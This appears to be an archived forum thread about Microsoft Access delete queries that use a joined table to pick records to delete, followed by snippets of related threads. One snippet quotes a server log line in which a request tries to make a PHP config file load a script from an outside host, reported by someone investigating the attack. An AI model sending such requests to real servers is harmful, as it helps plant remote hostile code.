I would like to create a delete query that consists of two tables linked
together. One table will be the target for the deletions while the other
table's equi-joins will tell the delete query which records in the target
table to delete. When you try to do this, an error message appears asking
you which table you want to delete records from (of the two tables shown in
the query). How do you tell Access what to do in this case??? 5 4314
Try a subquery in the WHERE clause, e.g.:
DELETE FROM tblInvoice
WHERE tblInvoice.Invo iceID =
(SELECT InvoiceID FROM tblInvoiceDetai l WHERE
tblInvoiceDetai l.InvoiceDetail ID = 9);
The example assumes cascading deletes.
--
Allen Browne - Microsoft MVP. Perth, Western Australia.
Tips for Access users - http://allenbrowne.com/tips.html
Reply to group, rather than allenbrowne at mvps dot org.
"Mike Wiseley" <mi**********@g te.net> wrote in message
news:QV******** *********@nwrdd c02.gnilink.net ... I would like to create a delete query that consists of two tables linked together. One table will be the target for the deletions while the other table's equi-joins will tell the delete query which records in the target table to delete. When you try to do this, an error message appears asking you which table you want to delete records from (of the two tables shown
in the query). How do you tell Access what to do in this case???
I believe Access also lets you specify which table in your FROM clause
to delete from, like so (The "I.*" part):
DELETE I.*
FROM tblInvoice as I
INNER JOIN tblInvoiceDetai l as D
On I.InvoiceID = D.InvoiceID
WHERE D.InvoiceDetail ID = 9;
-td Try a subquery in the WHERE clause, e.g.:
DELETE FROM tblInvoice WHERE tblInvoice.Invo iceID = (SELECT InvoiceID FROM tblInvoiceDetai l WHERE tblInvoiceDetai l.InvoiceDetail ID = 9);
I tried the following variation of your theme:
Delete * From Table1 Where Table1.[Departure Point] like
(SELECT Distinct cTable1.[Departure Point] FROM cTable1 inner join Table1 on
cTable1.[Departure Point] = Table1.[Departure point]);
Which was an attempt to delete multiple records from Table1 based on a match
against cTable1.
Access says "at most, one record can be returned from this subquery".
"tom" <to*@nuws.com > wrote in message
news:c1******** *************** ***@posting.goo gle.com... I believe Access also lets you specify which table in your FROM clause to delete from, like so (The "I.*" part):
DELETE I.* FROM tblInvoice as I INNER JOIN tblInvoiceDetai l as D On I.InvoiceID = D.InvoiceID WHERE D.InvoiceDetail ID = 9;
-td
Try a subquery in the WHERE clause, e.g.:
DELETE FROM tblInvoice WHERE tblInvoice.Invo iceID = (SELECT InvoiceID FROM tblInvoiceDetai l WHERE tblInvoiceDetai l.InvoiceDetail ID = 9);
Mike, if you are still stuck on this, would it be possible to use a Yes/No
field to flag the records for deletion? That's easy to do with an Update
query, and then the delete query is just:
DELETE FROM MyTable WHERE (IsPicked = True);
--
Allen Browne - Microsoft MVP. Perth, Western Australia.
Tips for Access users - http://allenbrowne.com/tips.html
Reply to group, rather than allenbrowne at mvps dot org.
"Mike Wiseley" <mi**********@g te.net> wrote in message
news:Z4******** ********@nwrddc 02.gnilink.net. .. I tried the following variation of your theme:
Delete * From Table1 Where Table1.[Departure Point] like (SELECT Distinct cTable1.[Departure Point] FROM cTable1 inner join Table1
on cTable1.[Departure Point] = Table1.[Departure point]);
Which was an attempt to delete multiple records from Table1 based on a
match against cTable1. Access says "at most, one record can be returned from this subquery".
"tom" <to*@nuws.com > wrote in message news:c1******** *************** ***@posting.goo gle.com... I believe Access also lets you specify which table in your FROM clause to delete from, like so (The "I.*" part):
DELETE I.* FROM tblInvoice as I INNER JOIN tblInvoiceDetai l as D On I.InvoiceID = D.InvoiceID WHERE D.InvoiceDetail ID = 9;
-td
Try a subquery in the WHERE clause, e.g.:
DELETE FROM tblInvoice WHERE tblInvoice.Invo iceID = (SELECT InvoiceID FROM tblInvoiceDetai l WHERE tblInvoiceDetai l.InvoiceDetail ID = 9);
That is in fact how I handle the situation at present. I was looking for an
alternate way of handling at the start of this thread.
"Allen Browne" <Al*********@Se eSig.Invalid> wrote in message
news:40******** **************@ freenews.iinet. net.au... Mike, if you are still stuck on this, would it be possible to use a Yes/No field to flag the records for deletion? That's easy to do with an Update query, and then the delete query is just: DELETE FROM MyTable WHERE (IsPicked = True);
-- Allen Browne - Microsoft MVP. Perth, Western Australia. Tips for Access users - http://allenbrowne.com/tips.html Reply to group, rather than allenbrowne at mvps dot org.
"Mike Wiseley" <mi**********@g te.net> wrote in message news:Z4******** ********@nwrddc 02.gnilink.net. .. I tried the following variation of your theme:
Delete * From Table1 Where Table1.[Departure Point] like (SELECT Distinct cTable1.[Departure Point] FROM cTable1 inner join
Table1 on cTable1.[Departure Point] = Table1.[Departure point]);
Which was an attempt to delete multiple records from Table1 based on a match against cTable1. Access says "at most, one record can be returned from this subquery".
"tom" <to*@nuws.com > wrote in message news:c1******** *************** ***@posting.goo gle.com... I believe Access also lets you specify which table in your FROM clause to delete from, like so (The "I.*" part):
DELETE I.* FROM tblInvoice as I INNER JOIN tblInvoiceDetai l as D On I.InvoiceID = D.InvoiceID WHERE D.InvoiceDetail ID = 9;
-td
> Try a subquery in the WHERE clause, e.g.: > > > DELETE FROM tblInvoice > WHERE tblInvoice.Invo iceID = > (SELECT InvoiceID FROM tblInvoiceDetai l WHERE > tblInvoiceDetai l.InvoiceDetail ID = 9); >
This thread has been closed and replies have been disabled. Please start a new discussion. Similar topics |
by: robert |
last post by:
been ruminating on the question (mostly in a 390/v7 context) of
whether, and if so when, a row update becomes an insert/delete.
i assume that there is a threshold on the number of columns of
the table, or perhaps bytes, being updated where the engine just
decides, screw it, i'll just make a new one.
surfed this group and google, but couldn't find anything.
the context: we have some java folk who like to parametize/
|
by: Dave Burt |
last post by:
Hi, Access officionados,
I'm new here, so please cut me slack/gently tell me off if I'm out of line
or in the wrong place.
OK, here's something that seems silly (and is also problematic to me).
I have a query which is updateable when viewed as a datasheet in Access (you
can insert, delete, update). Using queries, I can insert and update, but not
delete.
|
by: Karl O. Pinc |
last post by:
Hi,
Thought perhaps some other eyes than mine can tell if I'm doing
something wrong here or if there's a bug somewhere. I've never
passed a ROWTYPE varaible to a function but I don't see where
the problem is.
I keep getting errors like (the first is my debug output):
NOTICE: last cycle is: 11
WARNING: Error occurred while executing PL/pgSQL function
|
by: Ignoramus6539 |
last post by:
There were some strange requests to my server asking for config.php
file (which I do not have in the requested location).
I did some investigation. Seems to be a virus written in perl,
exploiting a vulnerability in php code.
The requests are like this
216.120.231.252 - - "GET /algebra/about/history/config.php?returnpath=http://domates.1gig.biz/spread.txt? HTTP/1.1" 404 561 "-" "libwww-perl/5.805"
|
by: (PeteCresswell) |
last post by:
I've got apps where you *really* wouldn't want to delete certain items by
accident, but the users just have to have a "Delete" button.
My current strategies:
Plan A:
------------------------------------------------------------------------
1) Make the cmd button black and do not give it an accelerator key.
2) Issue two levels of confirmation (Do you want to delete... Do you REALLY want
| |
by: Matt |
last post by:
I am writing a DELETE statement and I want to filter the records using
another SELECT statement.
My SELECT statement is a GROUP BY query that grabs all social security
numbers from the "Data With Import Date Current" table on a given day
where there was only one transaction (count of SSN = 1). I want to
delete these records from the "Data With Import Date Current" table.
I would like to do this by joining the "Data With Import Date...
|
by: Bob Bridges |
last post by:
Start with two tables, parent records in one and child records in the other,
a one-to-many relationship. Create a select statement joining the two.
Display the query in datasheet mode. When I delete a row, only the child
record is deleted from the source tables; the parent record is still
there...which is what I wanted.
Now display fields from that query in a continuous form. When I delete a
record from that form, one of the child...
|
by: jpatchak |
last post by:
The following select query gives me the set of records I want to delete:
SELECT tblCaseNumbers.*
FROM (tblCaseNumberDump INNER JOIN ON tblCaseNumberDump.SSN = .) INNER JOIN tblCaseNumbers ON . = tblCaseNumbers.ProspectKey
WHERE ((=IIf(Right(,1)='D','D',IIf(Right(,1)='A','PLP', IIf(Right(,1)='B','SLP','M')))));
When I try to make it a delete query however:
DELETE tblCaseNumbers.*
FROM (tblCaseNumberDump INNER JOIN ON...
|
by: pythonnoob |
last post by:
Hello everyone. New to python as well as this forum, but i must say ive learned a but already reading through some posts. Seems to be a pretty helpful community here.
Before i post a question ill give you a little background. I have done programming in the past in Basic, VB, and a little C. I am not much of a programmer, its more of a hobby/curiosity.
The following code is not mine, i am trying to modify a template of a mock database....
|
by: marktang |
last post by:
ONU (Optical Network Unit) is one of the key components for providing high-speed Internet services. Its primary function is to act as an endpoint device located at the user's premises. However, people are often confused as to whether an ONU can Work As a Router. In this blog post, we’ll explore What is ONU, What Is Router, ONU & Router’s main usage, and What is the difference between ONU and Router. Let’s take a closer look !
Part I. Meaning of...
|
by: jinu1996 |
last post by:
In today's digital age, having a compelling online presence is paramount for businesses aiming to thrive in a competitive landscape. At the heart of this digital strategy lies an intricately woven tapestry of website design and digital marketing. It's not merely about having a website; it's about crafting an immersive digital experience that captivates audiences and drives business growth.
The Art of Business Website Design
Your website is...
| |
by: tracyyun |
last post by:
Dear forum friends,
With the development of smart home technology, a variety of wireless communication protocols have appeared on the market, such as Zigbee, Z-Wave, Wi-Fi, Bluetooth, etc. Each protocol has its own unique characteristics and advantages, but as a user who is planning to build a smart home system, I am a bit confused by the choice of these technologies. I'm particularly interested in Zigbee because I've heard it does some...
|
by: agi2029 |
last post by:
Let's talk about the concept of autonomous AI software engineers and no-code agents. These AIs are designed to manage the entire lifecycle of a software development project—planning, coding, testing, and deployment—without human intervention. Imagine an AI that can take a project description, break it down, write the code, debug it, and then launch it, all on its own....
Now, this would greatly impact the work of software developers. The idea...
|
by: isladogs |
last post by:
The next Access Europe User Group meeting will be on Wednesday 1 May 2024 starting at 18:00 UK time (6PM UTC+1) and finishing by 19:30 (7.30PM).
In this session, we are pleased to welcome a new presenter, Adolph Dupré who will be discussing some powerful techniques for using class modules.
He will explain when you may want to use classes instead of User Defined Types (UDT). For example, to manage the data in unbound forms.
Adolph will...
|
by: TSSRALBI |
last post by:
Hello
I'm a network technician in training and I need your help.
I am currently learning how to create and manage the different types of VPNs and I have a question about LAN-to-LAN VPNs.
The last exercise I practiced was to create a LAN-to-LAN VPN between two Pfsense firewalls, by using IPSEC protocols.
I succeeded, with both firewalls in the same network. But I'm wondering if it's possible to do the same thing, with 2 Pfsense firewalls...
|
by: adsilva |
last post by:
A Windows Forms form does not have the event Unload, like VB6. What one acts like?
|
by: muto222 |
last post by:
How can i add a mobile payment intergratation into php mysql website.
| |
by: bsmnconsultancy |
last post by:
In today's digital era, a well-designed website is crucial for businesses looking to succeed. Whether you're a small business owner or a large corporation in Toronto, having a strong online presence can significantly impact your brand's success. BSMN Consultancy, a leader in Website Development in Toronto offers valuable insights into creating effective websites that not only look great but also perform exceptionally well. In this comprehensive...
| |